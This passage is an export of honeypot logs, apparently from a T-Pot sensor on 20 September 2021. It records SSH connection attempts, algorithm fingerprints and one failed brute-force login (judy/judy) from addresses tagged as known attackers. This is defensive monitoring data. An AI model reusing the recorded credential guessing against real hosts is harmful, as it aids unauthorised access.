"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57186, "dest_port": 22, "timestamp": "2021-09-20T11:06:45.066137", "@timestamp": "2021-09-20T11:06:45.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21186	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:45.481605+03	2021-09-20 14:15:03.335615+03	{"_id": "WwbjAnwBvYTbRNuECgLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54336, "timestamp": "2021-09-20T11:06:45.481605", "@timestamp": "2021-09-20T11:06:45.481Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21187	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:46.154553+03	2021-09-20 14:15:03.336615+03	{"_id": "VgbjAnwBvYTbRNuECgLV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8a535f8b207e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:46.154553Z", "@timestamp": "2021-09-20T11:06:46.154Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21188	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:46.301326+03	2021-09-20 14:15:03.338615+03	{"_id": "ZAbjAnwBvYTbRNuEDgJd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54308, "dest_port": 22, "timestamp": "2021-09-20T11:06:46.301326", "@timestamp": "2021-09-20T11:06:46.301Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21189	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:46.470093+03	2021-09-20 14:15:03.340614+03	{"_id": "ZQbjAnwBvYTbRNuEDgJd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "a247dfb3bbe2", "@version": "1", "duration": 3.1727795600891113, "timestamp": "2021-09-20T11:06:46.470093Z", "@timestamp": "2021-09-20T11:06:46.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21190	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:46.300734+03	2021-09-20 14:15:03.341615+03	{"_id": "bgbjAnwBvYTbRNuEDgK9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54308, "timestamp": "2021-09-20T11:06:46.300734", "@timestamp": "2021-09-20T11:06:46.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21191	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:46.28056+03	2021-09-20 14:15:03.342615+03	{"_id": "awbjAnwBvYTbRNuEDgK9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [judy/judy] failed", "session": "214fca9416e8", "@version": "1", "password": "judy", "username": "judy", "timestamp": "2021-09-20T11:06:46.280560Z", "@timestamp": "2021-09-20T11:06:46.280Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21192	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:46.302029+03	2021-09-20 14:15:03.344642+03	{"_id": "bwbjAnwBvYTbRNuEDgK9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8a535f8b207e", "@version": "1", "timestamp": "2021-09-20T11:06:46.302029Z", "@timestamp": "2021-09-20T11:06:46.302Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21193	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:32.016388+03	2021-09-20 14:15:03.345651+03	{"_id": "mgXiAnwBvYTbRNuE1v-h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 391986284031247, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35694, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.016388Z", "@timestamp": "2021-09-20T11:06:32.016Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21194	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:32.745181+03	2021-09-20 14:15:03.34666+03	{"_id": "mwXiAnwBvYTbRNuE1v-h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1026782450472208, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35704, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.745181Z", "@timestamp": "2021-09-20T11:06:32.745Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21195	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:32.691402+03	2021-09-20 14:15:03.347645+03	{"_id": "oAXiAnwBvYTbRNuE1v-i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1667621635756206, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42828, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.691402Z", "@timestamp": "2021-09-20T11:06:32.691Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21196	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.464198+03	2021-09-20 14:15:03.349638+03	{"_id": "qwXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35704 (192.168.176.2:22) [session: 451e62234b8a]", "session": "451e62234b8a", "@version": "1", "protocol": "ssh", "src_port": 35704, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.464198Z", "@timestamp": "2021-09-20T11:06:32.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21197	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:32.730103+03	2021-09-20 14:15:03.350614+03	{"_id": "pAXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:32.730103Z", "@timestamp": "2021-09-20T11:06:32.730Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21198	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:32.733751+03	2021-09-20 14:15:03.351615+03	{"_id": "pgXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", 